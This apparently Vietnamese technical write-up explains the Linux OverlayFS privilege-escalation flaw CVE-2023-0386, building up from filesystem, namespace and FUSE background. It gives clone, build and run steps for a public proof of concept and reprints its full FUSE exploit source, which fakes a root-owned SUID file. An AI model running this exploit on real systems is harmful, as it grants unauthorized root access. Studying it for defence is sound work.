# CVE-2023-0386 Bài viết này nhằm giải thích chi tiết cách khai thác CVE-2023-0386. CVE-2023-0386 là một lỗ hổng trong nhân Linux(Linux kernel), xuất phát từ [OverlayFS](https://en.wikipedia.org/wiki/OverlayFS), là một dạng của [union filesystem](https://en.wikipedia.org/wiki/UnionFS), là một dịch vụ hệ thống tệp (filesystem) cho Linux, FreeBSD và NetBSD, dùng để triển khai "[union mount](https://en.wikipedia.org/wiki/Union_mount)" (gắn kết hợp nhất) cho các hệ thống tệp khác. Lỗ hổng này có thể bị khai thác nhằm leo thang đặc quyền trong Linux. Trước khi đi vào khai thác CVE này, ta cần phải hiểu được các khái niệm liên quan ## Các khái niệm liên quan ### **Filesystem** Hệ thống tệp Linux(**file system**) là một tập hợp các quy trình kiểm soát cách thức, vị trí và thời điểm dữ liệu được lưu trữ hoặc truy xuất từ các thiết bị lưu trữ. Nó quản lý dữ liệu một cách có hệ thống trên các ổ đĩa hoặc phân vùng, và mỗi phân vùng trong Linux có hệ thống tệp riêng vì Linux coi mọi thứ như một tệp tin, bao gồm cả thiết bị và ứng dụng. **File system** được dùng để quản lý cách dữ liệu được đọc và lưu trên thiết bị. Chắc hẳn chúng ta đều đã quen với các loại file system trên Windows như NTFS, FAT32, exFAT. Vậy Linux cũng có các loại file system riêng: * Filesystem cơ bản: EXT2, EXT3, EXT4, XFS, Btrfs, JFS, NTFS,… * Filesystem dành cho dạng lưu trữ Flash: thẻ nhớ,… * Filesystem dành cho hệ cơ sở dữ liệu * Filesystem mục đích đặc biệt: procfs, sysfs, tmpfs, squashfs, debugfs,… ### **mount** ![Screenshot 2025-11-15 004550](https://hackmd.io/_uploads/By02sJSgbg.png) Như định nghĩa của mount trên [man7](https://man7.org/linux/man-pages/man8/mount.8.html), lệnh mount gán(kết nối) **file system** được tìm thấy trong các thiết bị lưu trữ với thư mục cần gán. Thư mục mà **file system** đó mount tới được gọi là ```mount point```. Lệnh chuẩn của mount sẽ là: ```linux= mount -t type device dir ``` Lệnh này sẽ nói với kernel rằng gán **file system** tìm thấy trên thiết bị lữu trữ đó, với **file system** loại `type` vào thư mục `dir`. Nếu thư mục dir (nơi bạn gắn vào, ví dụ ```/mnt/my-usb```) trước đó có chứa tệp tin hoặc thư mục con, thì tất cả chúng sẽ tạm thời bị che khuất (invisible) sau khi bạn **mount**. Kể từ lúc mount thành công, khi bạn truy cập vào thư mục ```dir``` đó, bạn sẽ không còn thấy nội dung cũ của nó nữa. Thay vào đó, `dir` bây giờ trở thành cửa ngõ để truy cập vào thư mục gốc của **file system** trên thiết bị mà bạn vừa gắn vào (ví dụ, nội dung bên trong USB của bạn). ### **union mount** **union mount** là một cách kết hợp nhiều thư mục thành một thư mục duy nhất, mà thư mục này chứa nội dung tổng hợp của chúng. Một ví dụ về ứng dụng của **union mount**, hãy xem như chúng ta muốn cập nhật thông tin chứa trên đĩa CD-ROM hoặc DVD. Mặc dù đĩa CD-ROM không thể ghi, người ta có thể gắn đè (**overlay**) điểm gắn (**mount point**) của đĩa CD bằng một thư mục có thể ghi được(**writable**) trong một lần **union mount**. Khi đó, việc cập nhật các tệp trong thư mục kết hợp(**union**) sẽ khiến chúng thực sự được lưu vào thư mục có thể ghi(**writable**), tạo ra ảo giác rằng nội dung của đĩa CD-ROM đã được cập nhật. ### **union filesystem** **union filesystem(UFS)** là một dịch vụ file system cho Linux, dùng để triển khai gắn kết hợp (**union mount**) cho các hệ thống tệp(**file system**) khác. Nó cho phép các tệp và thư mục của các **file system** riêng biệt, được gọi là các nhánh (**branches**), được xếp chồng (**overlaid**) lên nhau, tạo thành một **file system** duy nhất gắn kết. Nội dung của các thư mục có cùng đường dẫn trong các nhánh được gộp lại sẽ được nhìn thấy cùng nhau trong một thư mục gộp duy nhất, bên trong hệ thống tệp ảo mới. Có 1 vài dạng **union filesystem** có thể kể đến: * UnionFS - Hãy bắt đầu với hệ thống tệp hợp nhất nguyên bản (original). UnionFS dường như không còn được phát triển tích cực nữa, với commit (bản cập nhật mã nguồn) cuối cùng là từ tháng 8 năm 2014. Bạn có thể đọc thêm một chút về nó trên trang web của nó tại https://unionfs.filesystems.org/. * aufs - Một phiên bản triển khai lại (re-implementation) của UnionFS gốc, đã bổ sung nhiều tính năng mới, nhưng đã bị từ chối sáp nhập vào nhân Linux (mainline Linux kernel). Aufs từng là trình điều khiển (driver) mặc định cho Docker trên Ubuntu/Debian nhưng đã được thay thế bằng OverlayFS (đối với nhân Linux > 4.0). Nó có một số ưu điểm so với các hệ thống tệp hợp nhất khác, được mô tả trong trang tài liệu của Docker. * OverlayFS - Tiếp theo là OverlayFS, được đưa vào Nhân Linux từ phiên bản 3.18 (ngày 26 tháng 10 năm 2014). Đây là hệ thống tệp được sử dụng bởi trình điều khiển overlay2 mặc định của Docker (bạn có thể xác minh điều này bằng lệnh docker system info | grep Storage). Nó thường có hiệu suất tốt hơn aufs và có một số tính năng hay như chia sẻ bộ đệm trang (page cache sharing). * ZFS - ZFS là một hệ thống tệp hợp nhất được tạo bởi Sun Microsystems (nay là Oracle). Nó có một số tính năng thú vị như kiểm tra tổng (checksumming) phân cấp, xử lý ảnh chụp nhanh (snapshots) và sao lưu/sao chép (backup/replication) nguyên bản, hoặc nén (compression) và chống trùng lặp (deduplication) dữ liệu nguyên bản. Tuy nhiên, do được Oracle duy trì, nó có giấy phép không thân thiện với nguồn mở (CDDL) và do đó không thể được phát hành như một phần của nhân Linux. Tuy nhiên, bạn có thể sửdụng dự án ZFS on Linux (ZoL), được mô tả trong tài liệu của Docker là khỏe mạnh và đang trưởng thành..., nhưng chưa sẵn sàng cho môi trường sản xuất (production). * Btrfs - Một lựa chọn khác là Btrfs, một dự án chung của nhiều công ty - bao gồm SUSE, WD hoặc Facebook - được xuất bản theo giấy phép GPL và là một phần của nhân Linux. Btrfs là hệ thống tệp mặc định của Fedora 33. Nó cũng có một số tính năng hữu ích như thao tác ở cấp độ khối (block-level), chống phân mảnh (defragmentation), ảnh chụp nhanh (snapshots) có thể ghi và còn nhiều hơn nữa. Nếu bạn thực sự muốn trải qua rắc rối khi chuyển sang một trình điều khiển lưu trữ không mặc định cho Docker, thì Btrfs với các tính năng và hiệu suất của nó có thể là lựa chọn phù hợp. Ta sẽ lấy 1 ví dụ để dễ hình dung. Tưởng tượng ta có 2 thư mục là `upper` và `lower` như ở dưới, và ta muốn **union mount** 2 thư mục này thành 1 thư mục hợp nhất và chung 1 **mount point** và chung 1 view: ```linux= . ├── upper │ ├── code.py # Content: `print("Hello Overlay!")` │ └── script.py └── lower ├── code.py # Content: `print("This is some code...")` └── config.yaml ``` Trong **union mount**, các thư mục này được gọi là nhánh (**branches**). Mỗi nhánh này được gán một mức độ ưu tiên (**precedence**). Mức độ ưu tiên này được sử dụng để xác định tệp nào sẽ xuất hiện trong chế độ xem (view) đã gộp trong trường hợp có các tệp trùng tên ở nhiều nhánh nguồn. Nhìn vào các tệp và thư mục ở trên - rõ ràng là nếu chúng ta cố gắng xếp chồng (**overlay**) chúng lên nhau, chúng ta sẽ có thể tạo ra xung đột do ở 2 nhánh đều có tệp code.py. Vì vậy, hãy thử xem điều gì sẽ xuất hiện: ```linux= ~ $ mount -t overlay \ -o lowerdir=./lower,\ upperdir=./upper,\ workdir=./workdir \ overlay /mnt/merged ~ $ ls /mnt/merged code.py config.yaml script.py ~ $ cat /mnt/merged/code.py print("Hello Overlay!") ``` Trong ví dụ trên, chúng ta đã sử dụng lệnh **mount** với loại (**type**) là **overlay** để kết hợp thư mục **lower** (chỉ đọc; ưu tiên thấp hơn) và thư mục **upper** (đọc-ghi; ưu tiên cao hơn) vào một chế độ xem gộp (**merged view**) tại ```/mnt/merged```. Chúng ta cũng bao gồm tùy chọn ```workdir=./workdir```, thư mục này phục vụ như một nơi để chuẩn bị chế độ xem gộp của **lowerdir** và **upperdir** trước khi nó được di chuyển sang ```/mnt/merged```. Các nhánh khác nhau có thể là hệ thống tệp chỉ đọc (**read-only**) hoặc đọc/ghi (**read/write**). Vậy, bây giờ chúng ta đã biết cách gộp 2 thư mục và điều gì xảy ra nếu có xung đột, nhưng điều gì sẽ xảy ra nếu chúng ta cố gắng sửa đổi (modify) một số tệp từ chế độ xem gộp? Đó là lúc **copy-on-write** (CoW) (sao chép khi ghi) phát huy tác dụng. Để làm rõ hơn, ta có ví dụ đơn giản như sau. Ta có 1 process A, có resource là SA. Từ A ta tạo ra một loạt process con A1, A2, A3 ..., như trên Linux, khi các process con sẽ có resource như thằng cha. Nếu không sử dụng COW, với mỗi process con ta sẽ phải tạo thêm resource cho riêng nó, thực sự như vậy không hề ổn chút nào, tài nguyên bao nhiêu cho đủ. Với COW, tất cả thằng con sinh ra đều có resource trỏ thẳng vào resource thằng cha, sau này process nào cần sửa chữa dữ liệu, nó sẽ copy thằng resource của cha ra một bản mới, và sửa chữa trên đó. Trong trường hợp của **union mount**, điều đó có nghĩa là khi chúng ta cố gắng sửa đổi một tệp được chia sẻ (hoặc tệp chỉ đọc), trước tiên nó sẽ được sao chép lên (copied up) nhánh có thể ghi trên cùng (**upperdir**), nhánh này có độ ưu tiên cao hơn các nhánh chỉ đọc bên dưới (**lowerdir**). Sau đó - khi tệp đã ở trong nhánh có thể ghi - nó có thể được sửa đổi một cách an toàn và nội dung mới của nó sẽ hiển thị trong chế độ xem gộp vì lớp trên cùng có độ ưu tiên cao hơn. ### **namespace** Nếu làm DevOps thì chắc bạn đã quen thuộc với Kubernetes, Docker và Container. Nhưng bạn có bao giờ thắc mắc thật ra Docker nó là cái quái gì vậy? Container là cái gì? Docker là container hả? Thật ra Docker nó không phải là Container và chúng ta hãy cùng nhau tìm hiểu trong bài này. **Container** là một công nghệ mà cho phép chúng ta chạy một chương trình trong một môi trường độc lập hoàn toàn với các chương trình còn lại trên cùng một máy tính. Vậy container làm được việc đó bằng cách nào? Và thật ra để làm được việc đó thì container nó được xây dựng từ một vài tính năng mới của Linux kernel, trong đó hai tính năng chính là “namespaces” and “cgroups”. Đây là hai tính năng của Linux giúp ta tách biệt một process hoàn toàn độc lập với các process còn lại. ![image](https://hackmd.io/_uploads/SJtnyYHgWe.png) **namespace** là một tính năng trên Linux cho phép phân vùng tài nguyên hệ thống, nghĩa là một tập các tiến trình chỉ thấy các tài nguyên mà chúng cùng chia sẻ, còn một tập các tiến trình khác không thấy các tài nguyên mà tập tiến trình kia thấy, chúng chỉ thấy các tài nguyên mà chúng cùng chia sẻ tương ứng. Điều này có nghĩa là một tiến trình trong namespace của nó có thể có hostname của riêng nó, trong khi hostname thực sự của hệ thống là 1 tên hoàn toàn khác. Có nhiều loại namespace, cụ thể như: * UTS * Mount * PID * Network * IPC (Inter Process Communication) * Control Group * User Ví dụ: * PID namespace cho phép ta tạo các process tách biệt. * Networking namespace cho phép ta chạy chương trình trên bất kì port nào mà không bị xung độ với các process khác chạy trên server. * Mount namespace cho phép ta mount và unmount filesystem mà không ảnh hưởng gì tới host filesystem. Hãy lấy UTS namespace làm ví dụ. Mỗi tiến trình trong cùng một UTS namespace chia sẻ hostname với các tiến trình ở cùng namespace đó. Các tên hostname sẽ được cách li giữa các UTS namespace khác nhau. ![image](https://hackmd.io/_uploads/Hygx-KBxbg.png) Như đoạn code ở trên, lúc đầu hostname của chúng ta là m1000xd, chúng ta tạo 1 uts namespace mới bằng lệnh ```linux= unshare -u ``` ![image](https://hackmd.io/_uploads/BJW6-KBgWx.png) Lệnh `unshare` tạo 1 namspace mới và thực thi **program** tương ứng. Nếu không cung cấp **program**, thì sẽ chạy 1 shell(mặc định là `/bin/sh`). Ngay sau khi tạo 1 namespace mới, chúng ta tạo 1 `hostname` mới là `user1` bằng lệnh ```linux= hostname user1 ``` Sau đó, ta kiểm tra hostname hiện tại bằng `hostname` thì thấy hostname không phải là `m1000xd` nữa mà là `user1`, điều đó chứng tỏ ta đang nằm trong namespace mới được tạo ra, chứ không phải namespace ban đầu. Để thoát khỏi namespace hiện tại, ta nhập `exit`. Ta kiểm tra hostname hiện tại bằng `hostname`, thì hostname trở lại thành `m1000xd`, chứng tỏ đã thoát khỏi namespace mới tạo. Để thao tác 1 namespace, chúng ta có thể sử dụng các system call dưới đây: * **clone**: Tạo 1 tiến trình con. Khi muốn tạo 1 namespace mới, phải có thêm cờ `CLONE_NEWNS`. * **unshare**: Nó sẽ không chia sẻ tài nguyên với tiến trình cha. * **setns**: Join 1 tiến trình vào 1 namespace đã tồn tại. Để tìm hiêu kỹ hơn, hãy tham khảo bài viết [này](https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/). ### FUSE(Filesystem in userspace) Chắc hẳn chúng ta đã nghe qua về **user space**(user mode) và **kernel space**(kernel mode) trong Windows. Và trong Linux cũng tương tự như vậy. Chế độ người dùng (**User Mode**) là một môi trường bị hạn chế, nơi các chương trình ứng dụng chạy. Khi một chương trình khởi động, hệ điều hành (OS) tạo ra một tiến trình riêng biệt và gán cho nó không gian bộ nhớ của riêng nó. Các chương trình ở chế độ người dùng không thể truy cập trực tiếp vào phần cứng hoặc bộ nhớ nhân; chúng phải yêu cầu truy cập thông qua các lời gọi hệ thống (system calls) đến nhân. Chế độ nhân (**Kernel Mode**) là chế độ đặc quyền (privileged mode), nơi phần lõi của hệ điều hành – tức là nhân (kernel) – thực thi. Nó có toàn quyền truy cập (không bị hạn chế) vào tất cả tài nguyên của máy, bao gồm CPU, bộ nhớ, bộ lưu trữ và các thiết bị đã kết nối. Khi một chương trình đang chạy ở chế độ người dùng đưa ra yêu cầu cần truy cập phần cứng, hệ thống sẽ chuyển CPU sang chế độ nhân để thực hiện tác vụ đó. Sau khi thực thi xong, quyền kiểm soát được trả về chế độ người dùng. **Filesystem in Userspace** (FUSE) (Hệ thống tệp trong Không gian người dùng) là một cơ chế dành cho các hệ điều hành giống Unix, cho phép người dùng không có đặc quyền (non-privileged users) có thể tự tạo ra hệ thống tệp của riêng mình mà không cần chỉnh sửa mã nguồn của nhân (kernel). Một trong những tính năng quan trọng nhất của FUSE là cho phép (thực hiện) việc gắn kết (mount) một cách an toàn mà không cần người dùng có quyền root. Để sử dụng **FUSE**, cần cài đặt thư viện **libfuse** ```linux= sudo apt-get install libfuse-dev ``` Khái niệm cốt lõi của **FUSE** là bạn định nghĩa một loạt các hàm "**callback**". Khi hệ điều hành (Kernel) muốn thực hiện một thao tác tệp (như ls, cat, open), nó sẽ gọi hàm tương ứng mà bạn đã viết. Dưới đây là 1 ví dụ đơn giản về đọc 1 tệp tin **helloworld.txt**: ```c= #define FUSE_USE_VERSION 30 #include <fuse.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <fcntl.h> // Nội dung của tệp tin "hello.txt" static const char *hello_str = "Hello World!\n"; static const char *hello_path = "/hello.txt"; // === HÀM QUAN TRỌNG SỐ 1: getattr === // Được gọi khi Kernel muốn biết thuộc tính của file/thư mục (như lệnh ls) static int hello_getattr(const char *path, struct stat *stbuf) { int res = 0; memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/") == 0) { // Nếu là thư mục gốc "/" stbuf->st_mode = S_IFDIR | 0755; // Báo đây là Thư mục stbuf->st_nlink = 2; } else if (strcmp(path, hello_path) == 0) { // Nếu là tệp "/hello.txt" stbuf->st_mode = S_IFREG | 0444; // Báo đây là Tệp tin (chỉ đọc) stbuf->st_nlink = 1; stbuf->st_size = strlen(hello_str); // Kích thước tệp } else { res = -ENOENT; // Báo lỗi: Không tìm thấy tệp } return res; } // === HÀM QUAN TRỌNG SỐ 2: readdir === // Được gọi khi Kernel muốn đọc nội dung một thư mục (như lệnh ls) static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { if (strcmp(path, "/") != 0) return -ENOENT; filler(buf, ".", NULL, 0); // Thư mục hiện tại filler(buf, "..", NULL, 0); // Thư mục cha filler(buf, "hello.txt", NULL, 0); // Tệp tin "hello.txt" của chúng ta return 0; } // === HÀM QUAN TRỌNG SỐ 3: read === // Được gọi khi Kernel muốn đọc nội dung của một tệp (như lệnh cat) static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { if(strcmp(path, hello_path) != 0) return -ENOENT; size_t len = strlen(hello_str); if (offset < len) { if (offset + size > len) size = len - offset; memcpy(buf, hello_str + offset, size); } else { size = 0; } return size; } // Đăng ký các hàm callback ở trên static struct fuse_operations hello_oper = { .getattr = hello_getattr, .readdir = hello_readdir, .read = hello_read, }; // Hàm main để khởi chạy FUSE int main(int argc, char *argv[]) { return fuse_main(argc, argv, &hello_oper, NULL); } ``` Mở terminal, gõ lệnh sau. pkg-config sẽ tự động tìm và liên kết (link) libfuse cho bạn. ```linux= gcc hello_fuse.c -o hello_fuse `pkg-config fuse --cflags --libs` ``` Tạo điểm gắn (Mount Point): ```linux= mkdir my_mount ``` Chạy FUSE: ```linux= ./hello_fuse my_mount ``` Mở một terminal khác và thử truy cập: ```linux= ls -l my_mount # Output sẽ là: # total 0 # -r--r--r-- 1 user user 13 Nov 17 14:30 hello.txt cat my_mount/hello.txt # Output sẽ là: # Hello World! ``` ## Nguyên nhân gây ra lỗ hổng CVE-2023-0386 Lỗ hổng CVE-2023-0386 nằm ở chỗ: khi nhân (kernel) sao chép một tệp từ hệ thống tệp overlay sang thư mục "upper" (lớp trên), nó đã không kiểm tra xem người dùng/nhóm sở hữu tệp này có được ánh xạ (mapped) trong không gian tên người dùng (user namespace) hiện tại hay không. Điều này cho phép người dùng không có đặc quyền "tuồn" (smuggle) một tệp nhị phân SUID từ thư mục "lower" (lớp dưới) sang thư mục "upper", bằng cách sử dụng OverlayFS làm trung gian. * Tạo một hệ thống tệp **FUSE** (Hệ thống tệp trong không gian người dùng). Hệ thống tệp ảo này được hỗ trợ bởi một đoạn mã, làm cho nó có vẻ như chứa một tệp nhị phân (binary) duy nhất thuộc sở hữu của root (UID 0) và đã được đặt bit SUID. Bước này yêu cầu **FUSE**, bởi vì để có UID=0 và có bit SUID thì chúng ta phải là root, vì vậy sử dụng FUSE để có thể giả mạo 1 tệp có UID=0 và có bật bit SUID. * Tạo một "**user**" namespace (không gian tên người dùng) và "**mount**" namespace (không gian tên gắn kết) mới bằng cách sử dụng lời gọi hệ thống (system call) unshare. Mục đích duy nhất của bước này là cho phép chúng ta sử dụng lệnh mount ở bước tiếp theo để tạo hệ thống tệp overlay (thứ mà thông thường đòi hỏi người dùng phải là root). * Tạo một điểm gắn (mount) OverlayFS mới, với: * Thư mục "lower" (lớp dưới) là hệ thống tệp FUSE đã tạo ở bước 1. * Thư mục "upper" (lớp trên) là một thư mục mà ai cũng có quyền ghi (world-writable), chẳng hạn như `/tmp`. * Kích hoạt một bản sao (copy) của tệp nhị phân SUID từ hệ thống tệp overlay sang thư mục "upper" — ví dụ, bằng cách chạy lệnh `touch` trên nó. Kernel (nhân hệ điều hành) sẽ: * Phát hiện sự thay đổi tệp trên hệ thống tệp overlay. * Đọc tệp nhị phân độc hại từ hệ thống tệp FUSE của chúng ta. * Tin rằng nó có bit SUID được đặt và thuộc sở hữu của root (UID 0), vì hệ thống tệp FUSE của chúng ta đã báo cho nó như vậy. * Ghi tệp với các thuộc tính tương tự vào thư mục "upper", trong trường hợp của chúng ta là `/tmp`. ## Exploit Chúng ta sẽ tham khảo **POC** của [sxlmnwb](https://github.com/sxlmnwb/CVE-2023-0386/tree/master) Clone repository trên bằng ```linux= git clone https://github.com/sxlmnwb/CVE-2023-0386.git ``` Vào thư mục mới clone về bằng ```linux= cd CVE-2023-0386 ``` Đã có sẵn Makefile, nên chỉ cần ```linux= make all ``` để tự động compile các file c trong thư mục thành file thực thi ```Makefile= all: gcc fuse.c -o fuse -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl gcc -o exp exp.c -lcap gcc -o gc getshell.c clean: rm -rf exp gc fuse ``` Mở 2 terminal, terminal đầu tiên thì gõ lệnh dưới: ```linux= ./fuse ./ovlcap/lower ./gc ``` Terminal còn lại thì chạy file thực thi còn lại: ```linux= ./exp ``` Sau khi chạy xong thì đã leo lên được root: ![image](https://hackmd.io/_uploads/SkqpMvdxbe.png) ![image](https://hackmd.io/_uploads/rJa0zD_x-g.png) ## Giải thích Chúng ta bắt đầu với file **fuse.c**: ```c= #define FUSE_USE_VERSION 29 #include <errno.h> #include <fuse.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sched.h> #include <sys/mman.h> #include <pthread.h> char content[0x100000]; int clen; // static char mount_path[] = "./ovlcap/lower3"; static char mount_path[0x100]; static char shell_path[0x100]; static int cnt = 0; void fatal(const char *msg) { perror(msg); exit(1); } static int getattr_callback(const char *path, struct stat *stbuf) { // 对应ls的callback puts("[+] getattr_callback"); memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/file") == 0) { puts(path); stbuf->st_mode = S_IFREG | 04777; // 为了有suid权限 // stbuf->st_mode = S_IFLNK | 0777; stbuf->st_nlink = 1; // stbuf->st_size = strlen(content); stbuf->st_uid = 0; stbuf->st_gid = 0; stbuf->st_size = clen; return 0; } else if (strcmp(path, "/") == 0) { puts(path); stbuf->st_mode = S_IFDIR | 0777; // 为了有suid权限 // stbuf->st_mode = S_IFLNK | 0777; stbuf->st_nlink = 2; // stbuf->st_size = strlen(content); // stbuf->st_size = clen; stbuf->st_uid = 1000; stbuf->st_gid = 1000; return 0; } return -ENOENT; } static int open_callback(const char *path, struct fuse_file_info *fi) { // 对应open puts("[+] open_callback"); puts(path); if (strcmp(path, "file") == 0) { int fd = open("", fi->flags); return -errno; } return 0; } // 对应read函数 static int read_callback(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) { puts("[+] read_callback"); printf(" cnt : %d\n", cnt); printf(" content : %s\n", content); printf(" clen : %d\n", clen); printf(" path : %s\n", path); printf(" size : 0x%lx\n", size); printf(" offset: 0x%lx\n", offset); char tmp; if (strcmp(path, "/file") == 0) { size_t len = clen; if (offset >= len) return 0; if ((size > len) || (offset + size > len)) { memcpy(buf, content + offset, len - offset); return len - offset; } else { memcpy(buf, content + offset, size); return size; } } return -ENOENT; } int read_buf_callback(const char *path, struct fuse_bufvec **bufp, size_t size, off_t off, struct fuse_file_info *fi) { puts("[+] read buf callback"); printf("offset %d\n", off); printf("size %d\n", size); printf("path %s\n", path); struct fuse_bufvec *src; src = malloc(sizeof(struct fuse_bufvec)); if (src == NULL) return -ENOMEM; // size_t len = clen; // if (off >= len) // return 0; // if ((size > len) || (offset + size > len)) // { // memcpy(buf, content + offset, len - offset); // return len - offset; // } // else // { // memcpy(buf, content + offset, size); // return size; // } *src = FUSE_BUFVEC_INIT(size); // src->buf[0].flags = FUSE_BUF_IS_FD | FUSE_BUF_FD_SEEK; // src->buf[0].fd = fi->fh; char *data = malloc(size); // strcpy(data, "hello worldaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"); memset(data, 0, size); memcpy(data, content, size); src->buf[0].flags = FUSE_BUF_FD_SEEK; src->buf[0].pos = off; src->buf[0].mem = data; *bufp = src; return 0; } static int ioctl_callback(const char *p, int cmd, void *arg, struct fuse_file_info *fi, unsigned int flags, void *data) { puts("[+] ioctl callback"); printf("path %s\n", p); printf("cmd 0x%x\n", cmd); return 0; } static int readdir_callback(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) { puts("[+] readdir"); filler(buf, "file", NULL, 0); return 0; } static struct fuse_operations fops = { .getattr = getattr_callback, .open = open_callback, .read = read_callback, .read_buf = read_buf_callback, .ioctl = ioctl_callback, .readdir = readdir_callback, }; void start_fuse() { // mk mount path if (mkdir(mount_path, 0777)) perror("mkdir"); system("rm -rf ./ovlcap/upper/*"); struct fuse_args args = FUSE_ARGS_INIT(0, NULL); struct fuse_chan *chan; struct fuse *fuse; if (!(chan = fuse_mount(mount_path, &args))) fatal("fuse_mount"); if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) { fuse_unmount(mount_path, chan); fatal("fuse_new"); } fuse_set_signal_handlers(fuse_get_session(fuse)); // 设置监听,当程序退出(接收到SIGINT信号)是会终止退出 fuse_loop_mt(fuse); // 监视对文件系统的操作事件 fuse_unmount(mount_path, chan); } int main(int argc, char const *argv[]) { // strcpy(content, "hello world!"); // clen = strlen(content); if (argc < 3) { puts("[-] usage:"); puts("./fuse [mount path] [shell path]"); return -1; } strcpy(mount_path, argv[1]); strcpy(shell_path, argv[2]); int fd = open(shell_path, O_RDONLY); if (fd < 0) { fatal("open gc"); } clen = 0; while (read(fd, content + clen, 1) > 0) clen++; close(fd); printf("[+] len of gc: 0x%x\n", clen); start_fuse(); rmdir(mount_path); return 0; } ``` File này tạo ra các hàm **callback** để khi kernel gọi các **system call** như `getattr`, `open`, `read_buf `,... được liệt kê trong struct **fops**: ```c= static struct fuse_operations fops = { .getattr = getattr_callback, .open = open_callback, .read = read_callback, .read_buf = read_buf_callback, .ioctl = ioctl_callback, .readdir = readdir_callback, }; ``` Thì nó sẽ gọi các hàm **callback** tương ứng để dựa vào logic các hàm **callback** mà mình viết để thực thi. Điểm mấu chốt là ở hàm **getattr_callback**: ```c= static int getattr_callback(const char *path, struct stat *stbuf) { // 对应ls的callback puts("[+] getattr_callback"); memset(stbuf, 0, sizeof(struct stat)); if (strcmp(path, "/file") == 0) { puts(path); stbuf->st_mode = S_IFREG | 04777; // 为了有suid权限 // stbuf->st_mode = S_IFLNK | 0777; stbuf->st_nlink = 1; // stbuf->st_size = strlen(content); stbuf->st_uid = 0; stbuf->st_gid = 0; stbuf->st_size = clen; return 0; } else if (strcmp(path, "/") == 0) { puts(path); stbuf->st_mode = S_IFDIR | 0777; // 为了有suid权限 // stbuf->st_mode = S_IFLNK | 0777; stbuf->st_nlink = 2; // stbuf->st_size = strlen(content); // stbuf->st_size = clen; stbuf->st_uid = 1000; stbuf->st_gid = 1000; return 0; } return -ENOENT; } ``` Hàm này được Kernel gọi bất cứ khi nào một chương trình (như ls, hoặc chính Kernel) muốn biết thuộc tính (attributes) của một tệp tin hoặc thư mục. * Trường hợp 1: Nếu hỏi về thư mục gốc (/) ```c= else if (strcmp(path, "/") == 0) { stbuf->st_mode = S_IFDIR | 0777; // Báo đây là Thư mục stbuf->st_uid = 1000; // Báo chủ sở hữu là user 1000 (user thường) stbuf->st_gid = 1000; // Báo nhóm là 1000 } ``` Phần này an toàn, nó chỉ báo cáo đây là một thư mục bình thường do bạn sở hữu. * Trường hợp 2: (MẤU CHỐT) Nếu hỏi về tệp (/file) ```c= if (strcmp(path, "/file") == 0) { // ... stbuf->st_mode = S_IFREG | 04777; // LỜI NÓI DỐI SỐ 1 // ... stbuf->st_uid = 0; // LỜI NÓI DỐI SỐ 2 stbuf->st_gid = 0; // LỜI NÓI DỐI SỐ 3 stbuf->st_size = clen; // Báo kích thước thật của payload } ``` Khi Kernel hỏi thông tin về `/file`, hàm này sẽ bịa ra các thuộc tính sau: ```c= stbuf->st_mode = S_IFREG | 04777; ``` * S_IFREG: Là file bình thường. * 04777: Đây là một số Bát phân (octal). * 4000: Chính là cờ SUID (Set User ID). * 777: Là quyền rwx cho tất cả mọi người. Hàm này nói: "File này là một file SUID." ```c= stbuf->st_uid = 0; ``` Hàm này nói: "File này thuộc sở hữu của root (User ID 0)." ```c= stbuf->st_gid = 0; ``` Hàm này nói: "File này thuộc nhóm root (Group ID 0)." Tiếp theo, nó sẽ gọi hàm **start_fuse** để mount fuse vào thư mục cần **mount**: ```c= void start_fuse() { // mk mount path if (mkdir(mount_path, 0777)) perror("mkdir"); system("rm -rf ./ovlcap/upper/*"); struct fuse_args args = FUSE_ARGS_INIT(0, NULL); struct fuse_chan *chan; struct fuse *fuse; if (!(chan = fuse_mount(mount_path, &args))) fatal("fuse_mount"); if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) { fuse_unmount(mount_path, chan); fatal("fuse_new"); } fuse_set_signal_handlers(fuse_get_session(fuse)); // 设置监听,当程序退出(接收到SIGINT信号)是会终止退出 fuse_loop_mt(fuse); // 监视对文件系统的操作事件 fuse_unmount(mount_path, chan); } ``` Nó mount hệ thống tệp **FUSE** vào **mount_path**: ```c= if (!(chan = fuse_mount(mount_path, &args))) fatal("fuse_mount"); ``` Tiếp theo nó tạo 1 phiên **FUSE**. Nó đăng ký các hàm **callback** tự định nghĩa với kernel bằng cách truyền địa chỉ struct **fops**: ```c= if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) { fuse_unmount(mount_path, chan); fatal("fuse_new"); } ``` **fuse_loop_mt(fuse)**: Hàm này khởi động một vòng lặp sự kiện (event loop) vô tận, biến chương trình của bạn thành một "server" đúng nghĩa. Vì vậy, lý do phải dùng 2 terminal là bởi vì terminal 1 sẽ nhận sự kiện Nó sẽ "ngủ" và chỉ "thức dậy" khi Kernel gửi một yêu cầu (ví dụ: Terminal 2 chạy `touch`, Kernel sẽ gửi yêu cầu getattr và read đến đây). ```c= fuse_set_signal_handlers(fuse_get_session(fuse)); // Thiết lập xử lý tín hiệu (như Ctrl+C) fuse_loop_mt(fuse); // Bắt đầu vòng lặp sự kiện (đa luồng) ``` Khi bạn nhấn Ctrl+C để thoát, vòng lặp sẽ dừng và hàm này sẽ chạy để gỡ **FUSE** ra khỏi mount_path. ```c= fuse_unmount(mount_path, chan); // Gỡ mount khi vòng lặp kết thúc ``` **mount_path** được copy từ tham số đầu tiên truyền vào, **shell_path** được copy từ tham số thứ 2. ```c= int main(int argc, char const *argv[]) { // strcpy(content, "hello world!"); // clen = strlen(content); if (argc < 3) { puts("[-] usage:"); puts("./fuse [mount path] [shell path]"); return -1; } strcpy(mount_path, argv[1]); strcpy(shell_path, argv[2]); int fd = open(shell_path, O_RDONLY); if (fd < 0) { fatal("open gc"); } clen = 0; while 